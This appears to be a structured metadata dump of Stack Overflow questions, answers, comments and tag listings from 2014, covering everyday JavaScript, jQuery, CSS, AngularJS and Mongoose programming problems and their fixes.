tags question: http://stackoverflow.com/q/25819887
tags question: http://stackoverflow.com/q/25747793
tags question: http://stackoverflow.com/q/25743522

http://stackoverflow.com/q/25739490
tagged with: css
has answer: http://stackoverflow.com/a/25739786
answer count: 4
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/25739681
upvote count: 3
has answer: http://stackoverflow.com/a/25739635
has comment: http://stackoverflow.com/comment/40245260
type: Question
possible better answer: http://stackoverflow.com/a/25739635
downvote count: 0
tagged with: javascript
tagged with: jquery
has body: I need to design accordion in the following way... http://jsfiddle.net/gmcLnowa/1/ as shown on fiddle. I need to two things to be fixed. One: How to keep first Tab open by default. Second: How to show each active tab in different colour when that particular tab contents are active or visible. Let us say when active Example One: In Blue colour Example Two: in red colour Example Three: In yellow colour. Example one Example two Example three ONE Lorem ipsum dolor sit amet, consectetur adipisicing elit. Amet in laborum praesentium esse aliquam molestiae animi non facilis perspiciatis corporis ad molestias quo harum suscipit ipsum incidunt ea voluptates accusantium. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Amet in laborum praesentium esse aliquam molestiae animi non facilis perspiciatis corporis ad molestias quo harum suscipit ipsum incidunt ea voluptates accusantium. TWO Lorem ipsum dolor sit amet, consectetur adipisicing elit. Amet in laborum praesentium esse aliquam molestiae animi non facilis perspiciatis corporis ad molestias quo harum suscipit ipsum incidunt ea voluptates accusantium. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Amet in laborum praesentium esse aliquam molestiae animi non facilis perspiciatis corporis ad molestias quo harum suscipit ipsum incidunt ea voluptates accusantium. THREE Lorem ipsum dolor sit amet, consectetur adipisicing elit. Amet in laborum praesentium esse aliquam molestiae animi non facilis perspiciatis corporis ad molestias quo harum suscipit ipsum incidunt ea voluptates accusantium. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Amet in laborum praesentium esse aliquam molestiae animi non facilis perspiciatis corporis ad molestias quo harum suscipit ipsum incidunt ea voluptates accusantium.
has comment: http://stackoverflow.com/comment/40245143
has title: How to make accordion tabs in different color when active
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25739681
has answer: http://stackoverflow.com/a/25739596
has comment: http://stackoverflow.com/comment/40245742
favorite count: 0

http://stackoverflow.com/a/25796179
score: 1
answers question: http://stackoverflow.com/q/25795677
upvote count: 1
type: Answer
has body: $(' Soll das Kundenkonto gelöscht werden? '). .dialog { position: absolute; top: 20%; left: 50%; margin: 0 0 0 -150px; width: 300px; }
downvote count: 0

http://stackoverflow.com/comment/40306455
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25772001
has text: The browser compares the hostname as a **string** - it doesn't matter that "localhost" resolves to the same IP address. The strings must be identical. The port numbers have to be exactly the same too.
score: 0

http://stackoverflow.com/comment/40198537
has text: Of course `cells` addresses a `td` element.
score: 0
comment on: http://stackoverflow.com/q/25713680
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25841815
upvote count: 1
score: 1
has body: Inside your loop _faqs[i] points to an HTMLElement which has a property called children, which is clearly not a function. What you're trying to do is to call the children() method of jQuery. You can't call jquery methods on native DOM elements: for that you need to wrap the element in jQuery like $(_faqs[i]) $(_faqs[i]).children('.corner.tl').first().hide();
downvote count: 0
answers question: http://stackoverflow.com/q/25841615
has comment: http://stackoverflow.com/comment/40432215
type: Answer

http://stackoverflow.com/comment/129827142
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25727411
type: AnswerComment
has text: This doesn't work for me. I added that header `header('Access-Control-Allow-Headers: Content-Type');` and I still get precisely the same CORS error.

http://stackoverflow.com/q/25844994
has comment: http://stackoverflow.com/comment/40439126
has body: I created a model from a schema which has a unique index. I tried to use Model.collection.insert() to insert multiple documents. The data may have some duplicate documents, so I used continueOnError in option. I checked the shell, the data seems to be inserted normally, but in the callback, the documents passed is null. Model.collection.insert(data.slice(0, 3), { continueOnError: 1 }, function(err, documents) { console.log(arguments); // { 0: null, 1: [{...}, {...}, {...}] } }); then Model.collection.insert(data.slice(0, 5), { continueOnError: 1 }, function(err, documents) { console.log(arguments); // { 0: error message, 1: null } }); I just want to know how many documents I have insert successfully. How can I do that?
score: 2
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/40438522
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/40439005
tagged with: node.js
has comment: http://stackoverflow.com/comment/40450527
has title: Mongoose collection.insert continueOnError, inserted documents not passed in callback
upvote count: 2
tagged with: mongodb
tagged with: mongoose
tagged with: javascript
type: UnansweredQuestion

http://stackoverflow.com/a/39565624
type: Answer
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25764008
has body: In your tooltip you should add xDateFormat for date format tooltip: { xDateFormat: '%Y-%m-%d', shared: true, valueDecimals: 2 } If you want to have date with time you need to add like this tooltip: { xDateFormat: '%Y-%m-%d %H:%M:%S', shared: true, valueDecimals: 2 } then remove dateTimeLabelFormats.

http://stackoverflow.com/q/25872902
tagged with: paste
has title: How can I detect CTRL-V in JavaScript for IE and firefox
upvote count: 7
has comment: http://stackoverflow.com/comment/40490325
type: Question
has answer: http://stackoverflow.com/a/25873071
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40488275
has answer: http://stackoverflow.com/a/25873049
linked to: http://stackoverflow.com/q/10655202
linked to: http://stackoverflow.com/q/10671822
answer count: 3
has body: I'm trying to detect when the user presses Ctrl + V in JavaScript. jQuery(document).on('paste', function() {alert('text pasted!')}) It works well with Chrome (v37). But it does not work with Firefox (v32) and IE (v11), as you can try on this jsfiddle: http://jsfiddle.net/7N6Xq/410/ Any idea what I'm doing wrong? EDIT - 2014-09-17 - need the clipboard content. I cannot just rely on key detection, because I need the clipboard content which is only available through a paste event (there is no clean other way to access it). In this JSFiddle, I get the event and display the text (works on Chrome only) http://jsfiddle.net/7N6Xq/412/ My final goal is to get an image from the clipboard and directly send it to the server.
downvote count: 0
score: 7
has answer: http://stackoverflow.com/a/25872984
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/25829050
score: 27
upvote count: 27
answers question: http://stackoverflow.com/q/25828924
downvote count: 0
has body: In ES6 you can do the following: str = ' '.repeat(x) + str; At this point in time (late 2014) it's only available in Chrome and Firefox. But in two years it should be widely supported. See the documentation for more info: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat
type: Answer

http://stackoverflow.com/q/25739841
possible better answer: http://stackoverflow.com/a/25756819
has body: Is there any way to detect empty search result when working with Selectize.js? If user types something and if they do not get the content from dropdown list, is there any way to detect the empty searches?
tagged with: javascript
score: 6
has comment: http://stackoverflow.com/comment/40276544
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/40276557
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/25756806
tagged with: selectize.js
upvote count: 6
has answer: http://stackoverflow.com/a/25756819
has title: Detect no result return by search - Selectize.js
accepted answer: http://stackoverflow.com/a/25756806
answer count: 2

http://stackoverflow.com/comment/40345894
type: Comment
comment on: http://stackoverflow.com/a/25793464
has text: use the value as data, not the text. For multiple can pass array to `val()` and data attribute can also be array
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40404880
type: QuestionComment
comment on: http://stackoverflow.com/q/25827214
score: 0
has text: I need one space. I have a scenario. Which says so..
type: Comment

jquery-templates
type: Tag
tag name: jquery-templates
tags question: http://stackoverflow.com/q/25721180

http://stackoverflow.com/comment/40304808
comment on: http://stackoverflow.com/q/25772444
score: 0
type: Comment
type: QuestionComment
has text: obviously you are not able to parse the div tags correctly and its making them unicode A hat. So its something to do with what you do with the string before you insert. I would venture a guess you are doing something with. sql_escape_string that is doing that for you.

http://stackoverflow.com/q/25843685
tagged with: jquery
has answer: http://stackoverflow.com/a/25844100
tagged with: css
accepted answer: http://stackoverflow.com/a/25843714
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25844100
type: Question
has answer: http://stackoverflow.com/a/25843714
has title: Applying CSS on class with variable name
tagged with: javascript
has body: I'm generating class name from server side like: List item 1 List item 2 List item 3 List item 1 List item 2 List item 1 and I expect the output with indentation such that it looks like: List item 1 List item 2 List item 3 List item 1 List item 2 List item 1 The syntax for class name is like level_$i where $i is variable and it can go to any level (starting from 1 to n). So how can I apply CSS for indentation in this situation?
score: 0
answer count: 2

http://stackoverflow.com/comment/40337211
has text: why don't you just try to modify the HTML being appended? Your question shows no effort on your part..
comment on: http://stackoverflow.com/q/25790476
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/a/25912795
has comment: http://stackoverflow.com/comment/45280245
has comment: http://stackoverflow.com/comment/40562626
type: Answer
has comment: http://stackoverflow.com/comment/40566737
has comment: http://stackoverflow.com/comment/40565810
has body: I'm not sure why you'd want such behavior, but you can kill the app on back press (or on finish). Calling android.os.Process.killProcess(android.os.Process.myPid()) is just like a forcing a stop from the task manager. Add this to your CordovaActivity and it should kill everything without any remains: @Override public void onBackPressed() { android.os.Process.killProcess(android.os.Process.myPid()); System.exit(0); }
answers question: http://stackoverflow.com/q/25868260
downvote count: 0
has comment: http://stackoverflow.com/comment/40567301
has comment: http://stackoverflow.com/comment/40588212
score: 1
has comment: http://stackoverflow.com/comment/40565082
has comment: http://stackoverflow.com/comment/45281365
has comment: http://stackoverflow.com/comment/40792212
upvote count: 1
has comment: http://stackoverflow.com/comment/40565231

http://stackoverflow.com/comment/40357525
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25801026
score: 0
has text: Yes, using arrays for keeping the order totally makes sense.

http://stackoverflow.com/comment/107840549
comment on: http://stackoverflow.com/a/53480677
score: 0
type: AnswerComment
has text: Doesn't work if you came on the page from an external site.
type: Comment

http://stackoverflow.com/a/25859960
has body: OK, to make it straight. var name = $("#name1").val(); console.log(name); // ... ... cannot return anything cause you're not listening for a user input and you have actually no value set in: &lt;input type="text" class="in-field" name="name" placeholder="Site Name" autocomplete="off" id="name1"&gt; Make sure you've wrapped your code into $(function(){ // DOM ready // HERE... }); ... or before the closing &lt;/body&gt; tag. Now let's listen for a user input: $('#name1').on('input', function(){ console.log( this.value ); });
score: 0
answers question: http://stackoverflow.com/q/25859899
type: Answer

http://stackoverflow.com/q/25817608
accepted answer: http://stackoverflow.com/a/25819275
tagged with: node.js
type: AnsweredQuestion
has body: Is there any way to limit string? Example: Or maybe substring function?
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40399889
type: Question
tagged with: javascript
tagged with: swig-template
answer count: 1
downvote count: 0
favorite count: 0
has title: Nodejs swig, substring or limit chars
has answer: http://stackoverflow.com/a/25819275

http://stackoverflow.com/comment/40489691
score: 0
type: Comment
type: QuestionComment
has text: @charlietflhttp://jsfiddle.net/ugkc8gsd/2/
comment on: http://stackoverflow.com/q/25873074

http://stackoverflow.com/comment/40292745
type: Comment
has text: Where does t0 and t1 come from??
comment on: http://stackoverflow.com/a/25765236
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40456884
has text: What attempts have you made? Where are you running into problems?
comment on: http://stackoverflow.com/q/25855384
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/70606167
has body: In case somebody wonders why IE 11 doesn't delete a cookie, try removing the domain parameter: // Before: document.cookie = 'foo=; path=/; domain=example.com; expires=Thu, 01-Jan-1970 00:00:01 GMT' // After: document.cookie = 'foo=; path=/; expires=Thu, 01-Jan-1970 00:00:01 GMT'
answers question: http://stackoverflow.com/q/25856813
score: 0
type: Answer

http://stackoverflow.com/comment/40373430
type: AnswerComment
type: Comment
has text: @T.J.Crowder: Yes, but if that is a requirement then there's hardly an improvement possible. Maybe I should've stated that more clearly.
comment on: http://stackoverflow.com/a/25810118
score: 0

http://stackoverflow.com/comment/40226057
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25729717
has text: The `.getElementsByName()` function only expects one name at a time. You'll have to fetch each checkbox element separately.
score: 0

jquery-selecter-plugin
tags question: http://stackoverflow.com/q/25776246
tag name: jquery-selecter-plugin
type: Tag

http://stackoverflow.com/a/25800892
answers question: http://stackoverflow.com/q/25800810
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25800810
has body: You do not prevent event propagation in 2nd js file, so both the event on .arrow-prev from 2nd js file and the one on body from the 1st js file will execute. This means, body will be replaced. I can't tell the exact behaviour since I don't know what you have in your index1.html file, but that is the only interaction that I can see. Use stopPropagation to not allow the browser to catch both event handlers.
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/a/25742367
has comment: http://stackoverflow.com/comment/40255842
has comment: http://stackoverflow.com/comment/40249600
score: 1
has comment: http://stackoverflow.com/comment/40249853
has body: Simply add min-height you want to have FIDDLE .alert{ min-height:150px; } Hope i have understood you right
has comment: http://stackoverflow.com/comment/40249601
has comment: http://stackoverflow.com/comment/40254955
has comment: http://stackoverflow.com/comment/40255781
has comment: http://stackoverflow.com/comment/40256623
has comment: http://stackoverflow.com/comment/40256714
has comment: http://stackoverflow.com/comment/40255630
has comment: http://stackoverflow.com/comment/40255388
has comment: http://stackoverflow.com/comment/40249889
answers question: http://stackoverflow.com/q/25742303
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/40249654
downvote count: 1

http://stackoverflow.com/comment/40280940
type: QuestionComment
comment on: http://stackoverflow.com/q/25759267
has text: I believe this could be a good canonical question, +1 for the effort.
score: 1
type: Comment

canvas
tags question: http://stackoverflow.com/q/25734077
tags question: http://stackoverflow.com/q/25796379
tags question: http://stackoverflow.com/q/25850654
tags question: http://stackoverflow.com/q/25823946
tags question: http://stackoverflow.com/q/25836447
tags question: http://stackoverflow.com/q/25832808
tags question: http://stackoverflow.com/q/25743473
tags question: http://stackoverflow.com/q/25722680
tags question: http://stackoverflow.com/q/25715809
tags question: http://stackoverflow.com/q/25768145
tags question: http://stackoverflow.com/q/25785890
tags question: http://stackoverflow.com/q/25715049
tags question: http://stackoverflow.com/q/25759426
tags question: http://stackoverflow.com/q/25829040
tags question: http://stackoverflow.com/q/25861262
tags question: http://stackoverflow.com/q/25740452
tags question: http://stackoverflow.com/q/25735735
tags question: http://stackoverflow.com/q/25760688
tags question: http://stackoverflow.com/q/25843497
tag name: canvas
tags question: http://stackoverflow.com/q/25827051
tags question: http://stackoverflow.com/q/25851540
tags question: http://stackoverflow.com/q/25869787
tags question: http://stackoverflow.com/q/25791848
tags question: http://stackoverflow.com/q/25756752
tags question: http://stackoverflow.com/q/25734309
tags question: http://stackoverflow.com/q/25753754
tags question: http://stackoverflow.com/q/25838214
tags question: http://stackoverflow.com/q/25811889
type: Tag
tags question: http://stackoverflow.com/q/25842634
tags question: http://stackoverflow.com/q/25797358
tags question: http://stackoverflow.com/q/25864039
tags question: http://stackoverflow.com/q/25772614
tags question: http://stackoverflow.com/q/25742957
tags question: http://stackoverflow.com/q/25759122
tags question: http://stackoverflow.com/q/25713728
tags question: http://stackoverflow.com/q/25799460
tags question: http://stackoverflow.com/q/25733202
tags question: http://stackoverflow.com/q/25828160
tags question: http://stackoverflow.com/q/25817412
tags question: http://stackoverflow.com/q/25735442
tags question: http://stackoverflow.com/q/25823736
tags question: http://stackoverflow.com/q/25816270
tags question: http://stackoverflow.com/q/25809275
tags question: http://stackoverflow.com/q/25778293
tags question: http://stackoverflow.com/q/25819684
tags question: http://stackoverflow.com/q/25728516
tags question: http://stackoverflow.com/q/25729387
tags question: http://stackoverflow.com/q/25717157
tags question: http://stackoverflow.com/q/25763948
tags question: http://stackoverflow.com/q/25753557
tags question: http://stackoverflow.com/q/25763818

http://stackoverflow.com/a/25764275
type: Answer
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/25764221
has body: Well, as much as I feel bad about using jQuery here, it is tagged and it is simpler with it - so: $(elements[x]).closest("form").attr("id") Should do the trick, closest finds the closest element up the tree that matches a given selector so we find the closest form and match it. In native JavaScript, you could do something like: var el = elements[x]; while(el.parentNode.tagName !== "FORM") el = el.parentNode el.parentNode.id; // will find the form's id
has comment: http://stackoverflow.com/comment/40290257
upvote count: 3
has comment: http://stackoverflow.com/comment/40289994

http://stackoverflow.com/comment/40256863
comment on: http://stackoverflow.com/a/25746208
type: AnswerComment
has text: `window` is an object and the variable is in the global scope, so you can reference them by array notation via `window[variableName]` rather than having to put them inside another container object
score: 0
type: Comment

http://stackoverflow.com/q/25800735
has comment: http://stackoverflow.com/comment/40356865
has answer: http://stackoverflow.com/a/25800808
possible better answer: http://stackoverflow.com/a/25800832
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25800832
tagged with: javascript
type: Question
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/25800808
has comment: http://stackoverflow.com/comment/40357310
tagged with: jquery
has comment: http://stackoverflow.com/comment/40356919
has comment: http://stackoverflow.com/comment/40356846
has comment: http://stackoverflow.com/comment/40357354
has body: I have a div with videos set up so that when I click the play button (.video-play-container), the video fades in, and then when I click the close button (.close-video), the video fades out. The problem was that when the video faded out, it kept playing in the background. Therefore, I emptied out the src with this line ('$(.youtube-player').attr('src', '');). However, this would be good if the user didn't need to see the video again. But if he wants to open the video back up, the src is now empty so he can't see the video. How can I restore the src after I have already taken it out so the user can see the video more than once? $('.video-play-container').click(function( e ){ e.preventDefault(); $('.video-play-container').fadeOut(500); $('.overlay').fadeIn(500).show(); $('#feat-video').fadeIn(500).show(); }); $('.close-video').click(function( e ){ e.preventDefault(); $('#feat-video').fadeOut(500); $('.youtube-player').attr('src', ''); $('.overlay').fadeOut(500); $('.video-play-container').show().fadeIn(500); }); Edit: Updated code var src; src = $('.youtube-player').attr('src'); $('.video-play-container').click(function( e ){ e.preventDefault(); $('.video-play-container').fadeOut(2000); $('.overlay').fadeIn(2000).show(); $('#feat-video').fadeIn(2000).show(); }); $('.close-video').click(function( e ){ e.preventDefault(); $('#feat-video').fadeOut(2000); $('.youtube-player').attr('src', ''); $('.overlay').fadeOut(2000); $('.video-play-container').show().fadeIn(2000); $('.youtube-player').attr('src', src); }); Edit: Updated code 2 var src; src = $('.youtube-player').attr('src'); $('.video-play-container').click(function( e ){ e.preventDefault(); $('.video-play-container').fadeOut(2000); $('.overlay').fadeIn(2000).show(); $('#feat-video').fadeIn(2000).show(); }); $('.close-video').click(function( e ){ e.preventDefault(); $('#feat-video').fadeOut(2000); $('.overlay').fadeOut(2000); $('.video-play-container').show().fadeIn(2000); $('.youtube-player').attr('src', ''); $('.yout…
tagged with: attr
has title: Empty out a div with jQuery then put it back?
has comment: http://stackoverflow.com/comment/40357408
has comment: http://stackoverflow.com/comment/40357390

http://stackoverflow.com/comment/40378217
type: Comment
has text: @ViniciusSantana I have updated the code with a sample of how you can prevent text from going over a limit. You can adapt this code further to suit your needs.
type: AnswerComment
comment on: http://stackoverflow.com/a/25808254
score: 0

http://stackoverflow.com/comment/40244004
comment on: http://stackoverflow.com/a/25738938
type: AnswerComment
type: Comment
score: 0
has text: Did you try the jsfiddle I provided? Does that work?

http://stackoverflow.com/comment/40526121
comment on: http://stackoverflow.com/q/25870691
score: 0
has text: What is your specific question/problem? Show code and explain the issue you are having.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25764546
downvote count: 0
score: 1
type: AcceptedAnswer
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40290150
has body: With XSLTForms, there are different possibilities... If you want to access the value of the corresponding HTML input, I would suggest document.getElementById("firstName").xfElement.input.value. You could also use the node property to get the value stored in the bound node. Don't hesitate to browse DOM with a debugger to find how to get things from XSLTForms! --Alain
accepted answer of: http://stackoverflow.com/q/25763538
answers question: http://stackoverflow.com/q/25763538

http://stackoverflow.com/q/25769834
score: 0
has answer: http://stackoverflow.com/a/25770112
possible better answer: http://stackoverflow.com/a/25770051
tagged with: http://stackoverflow.com/tag/html
has body: Code below (the divs are shaded in my real example, I want to sequentially decrease their opacity to 0 so each disappears, in order. I tried to doing this without using setTimeout, but all of the divs disappeared simultaneously - its good to know that the part of the code that changes the opacity works, but I cant seem to get them to work sequentially. When I try to use setTimeout (which I presume I am implementing incorrectly),nothing happens! Any help would be really appreciated with this, I'm fairly new to JavaScript and haven't touched it in a while and tutorials haven't been able to help me.
answer count: 5
has answer: http://stackoverflow.com/a/25770059
type: AnsweredQuestion
has title: setTimeout not working, other methods of queuing in a for loop?
type: Question
accepted answer: http://stackoverflow.com/a/25770112
has answer: http://stackoverflow.com/a/25770662
has comment: http://stackoverflow.com/comment/40300115
tagged with: javascript
has answer: http://stackoverflow.com/a/25770051
tagged with: jquery
has answer: http://stackoverflow.com/a/25769977

http://stackoverflow.com/a/25808908
has body: You need to pass the element on the onclick event and then change the class using the .className HTML Code test 1 test 2 test 3 JS Code function changeClass(elm) { var elements = document.getElementsByClassName('active'); elements[0].className = "menu"; elm.className = 'menu active'; }
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25808803

http://stackoverflow.com/q/25713012
upvote count: 1
has comment: http://stackoverflow.com/comment/40195593
type: Question
has comment: http://stackoverflow.com/comment/40194880
has comment: http://stackoverflow.com/comment/40194845
tagged with: slideshow
tagged with: javascript
tagged with: image
has comment: http://stackoverflow.com/comment/40194966
has body: There is a problem with my image sliding code. Whenever I press the "Next " or "Previous" button I must click 3 times until the button works, after doing this it works flawlessly. Here is my code: sliderInt=1; sliderNext=2; $(document).ready(function(){ $('.slider&gt;img#'+sliderInt).stop().fadeIn(500).delay(0); startSlider(); }); function startSlider(){ count= $(".slider&gt;img").size(); loop=setInterval(function(){ $(".slider&gt;img#"+sliderInt).stop().fadeOut(500); if(sliderNext&gt;count){ sliderNext=1; } $(".slider&gt;img#"+sliderNext).stop().fadeIn(500).delay(0); sliderNext++; sliderInt=sliderNext-1; },5000); } function prev(){ stopLoop(); $(".slider&gt;img#"+sliderInt).stop().fadeOut(500); sliderInt--; if(sliderInt&lt;1){ sliderInt=count; } $(".slider&gt;img#"+sliderInt).stop().fadeIn(500); startSlider(); } function next(){ stopLoop(); $(".slider&gt;img#"+sliderNext).stop().fadeOut(500); sliderNext++; if(sliderNext&gt;count){ sliderNext=1; } $(".slider&gt;img#"+sliderNext).stop().fadeIn(500); startSlider(); } function stopLoop(){ window.clearInterval(loop); }
has comment: http://stackoverflow.com/comment/40194731
accepted answer: http://stackoverflow.com/a/25714005
answer count: 1
downvote count: 0
score: 1
tagged with: jquery
favorite count: 0
tagged with: slider
has comment: http://stackoverflow.com/comment/40195726
has comment: http://stackoverflow.com/comment/40194773
type: AnsweredQuestion
has title: jQuery Image Slider issue
has answer: http://stackoverflow.com/a/25714005
has comment: http://stackoverflow.com/comment/40195739

http://stackoverflow.com/comment/40401317
score: 0
has text: The function `ValidateRegitration();` simply returns true and allows the page to post to its self in the event that the registration is OK (returns true). Otherwise, it shows the errors on the page before the page is submit (client side validation). If it returns true, then the form data is posted to the same page that you're on` registration.php` which likely contans `if(isset($_POST['elementNames']))` and such, then performs a `header('Location: home.php');` if everything goes OK.
type: Comment
comment on: http://stackoverflow.com/q/25825294
type: QuestionComment

http://stackoverflow.com/q/25873386
favorite count: 0
has comment: http://stackoverflow.com/comment/40491310
upvote count: 1
has title: Wait when equivalent request is pending
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40489468
score: 1
has comment: http://stackoverflow.com/comment/40496814
has answer: http://stackoverflow.com/a/25873801
tagged with: queue
type: Question
has comment: http://stackoverflow.com/comment/40489236
has body: I have this code: var data = {}; var dataPending = {}; function getData(name, callback) { callback = callback || function() {}; // new response if (!data[name] &amp;&amp; !dataPending[name]) { dataPending[name] = true; sendGetRequest({ url : '/blah-blah/' + name, callback : function(response) { data[name] = response; delete dataPending[name]; return callback(); } }); // equivalent request in progress } else if (dataPending[name]) { // TODO how to wait for equivalent request is completed and return callback? // data is exists } else { return callback(); } } getData('name1', function() { ... }); getData('name1', function() { ... }); getData('name2', function() { ... }); getData('name2', function() { ... }); getData('name1', function() { ... }); Function sendGetRequest is wrapper of xmlhttprequest. It works. But... How to wait for equivalent request is completed and return callback?
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40489148
answer count: 1
accepted answer: http://stackoverflow.com/a/25873801
tagged with: xmlhttprequest

http://stackoverflow.com/comment/40320933
type: Comment
comment on: http://stackoverflow.com/a/25780539
has text: thanks it works for the function, i'll improve again
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40370174
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25808255
has text: No, but this ( http://jsfiddle.net/6348jamj/8/ ) works. The DIV element doesn't have the coords property, that's why your example doesn't work.

http://stackoverflow.com/q/25868760
tagged with: angularjs-filter
downvote count: 0
possible better answer: http://stackoverflow.com/a/32018911
tagged with: angularjs-ng-repeat
favorite count: 0
has answer: http://stackoverflow.com/a/32018911
has answer: http://stackoverflow.com/a/25869639
has answer: http://stackoverflow.com/a/38221392
has title: AngularJS limitTo filter for ngRepeat on an object (used like a dictionary)
tagged with: angularjs
score: 9
type: Question
has answer: http://stackoverflow.com/a/25869729
accepted answer: http://stackoverflow.com/a/25869639
has body: Is it possible to use limitTo filter on a ngRepeat directive which is repeating the properties of an Object and not items in an Array. I am aware that the official documentation says that the input to limitTo needs to be an array or a string. But wondering if there's a way to get this to work. Here's a sample code: &lt;li ng-repeat="(key, item) in phones_dict |orderBy:'-age'| limitTo:limit_items"&gt;&lt;/li&gt; And $scope.phones_dict is an Object like { item_1: {name:"John", age: 24}, item_2: {name:"Jack", age: 23} }
upvote count: 9
tagged with: javascript
answer count: 4
type: AnsweredQuestion

http://stackoverflow.com/a/25816084
has body: I've updated your jsfiddle here http://jsfiddle.net/96r9jqp6/5/ the most import piece is your use of the "=" operator you need to use triple equal to test for equality instead of just one. also when using data-* attributes, you should use the jquery .data() function to retrieve its values $(document).ready(function(){ $('.eventSort').click(function(){ if (event.preventDefault) event.preventDefault(); else event.returnValue = false; var thisEventSort = $(this).data("event-sort"); console.log(thisEventSort); if (thisEventSort === 0){ $('.eventsys-event-wrapper').show('fast'); return; } else { $('.eventsys-event-wrapper').each(function(){ var thisEventType = $(this).data("event-type"); if (thisEventType === thisEventSort) { $(this).show('fast'); } else { $(this).hide('fast'); } }); } }); });
upvote count: 1
has comment: http://stackoverflow.com/comment/40385424
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25815816
has comment: http://stackoverflow.com/comment/40385244
has comment: http://stackoverflow.com/comment/40385691
type: Answer

http://stackoverflow.com/a/25752490
type: Answer
answers question: http://stackoverflow.com/q/25750924
score: 0
has body: So I ended up setting the asynchronous portion to false. I know it's not good practice, but this is the best solution for the interim. function checkImage(imgurl){ function headRequest(url){ var http = $.ajax({ url: url, type: "HEAD", async: false }) return http.status; } if(headRequest(imgurl) == 200) { return true; } else { return false; } } //if image does not exist or person.biography is undefined, reroll while (!checkImage(imgsrc) || person.biography == undefined) { //reroll }

http://stackoverflow.com/a/25724146
has body: Bootstrap hidden class is: .hidden { display: none; visibility: hidden; } You can easily achieve this: $('.searchBar').toggle( "slow");
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25724043
score: 2
has comment: http://stackoverflow.com/comment/40217540
accepted answer of: http://stackoverflow.com/q/25724043
upvote count: 2

http://stackoverflow.com/comment/40318370
type: QuestionComment
comment on: http://stackoverflow.com/q/25779747
score: 0
type: Comment
has text: are the negative values allowed to be entered by the user? where is this value coming from? an tag?

http://stackoverflow.com/a/25793406
upvote count: 2
has body: You can use this code: // regex to match your words var re = /\b(xx|af|an|bf|bn|cf|cn)\b/g; // your text string var str = 'as ww zx af ad we re an ana '; var m; while ((m = re.exec(str)) != null) { if (m.index === re.lastIndex) { re.lastIndex++; } // View your result using the m-variable. // eg m[0] etc. } Working demo
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25793070

http://stackoverflow.com/comment/40490523
type: AnswerComment
has text: @AdamSinclair In the comments to the question, you said I can just parse the file. What do you mean by that? The page will not load completely by itself, so I won't be having all the names inside the html file. Any hints please?
type: Comment
comment on: http://stackoverflow.com/a/25867927
score: 0

http://stackoverflow.com/a/25720264
has comment: http://stackoverflow.com/comment/40212837
upvote count: 1
has comment: http://stackoverflow.com/comment/40212877
answers question: http://stackoverflow.com/q/25716682
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25716682
type: Answer
has body: Besides Arun's correct remark that you should use _send for both, your approach doesn't work because of how Content Scripts work. The code running in the content script works in an isolated environment, to prevent it from conflicting with page's own code. So it's not like you described - you're not simply adding JS to the page, you have it run isolated. As a result, your XHR replacement only affects XHR calls from your extension's content scripts and not the page. It's possible to inject the code into the page itself. This will affect XHR's from the page , but might not work on all pages, if the Content Security Policy of the page in question disallows inline code. It seems like Facebook's CSP would allow this. Page's CSP should not be a problem according to the docs. So, this approach should work, see the question I linked. That said, you're not specifically looking for AJAX calls, you're looking for new elements being inserted in the DOM. You can detect that without modifying the page's code, using DOM MutationObservers. See this answer for more information.
score: 1

http://stackoverflow.com/q/25833629
answer count: 2
has comment: http://stackoverflow.com/comment/40417939
score: -2
has comment: http://stackoverflow.com/comment/40422560
tagged with: javascript
has comment: http://stackoverflow.com/comment/40417413
has comment: http://stackoverflow.com/comment/40416876
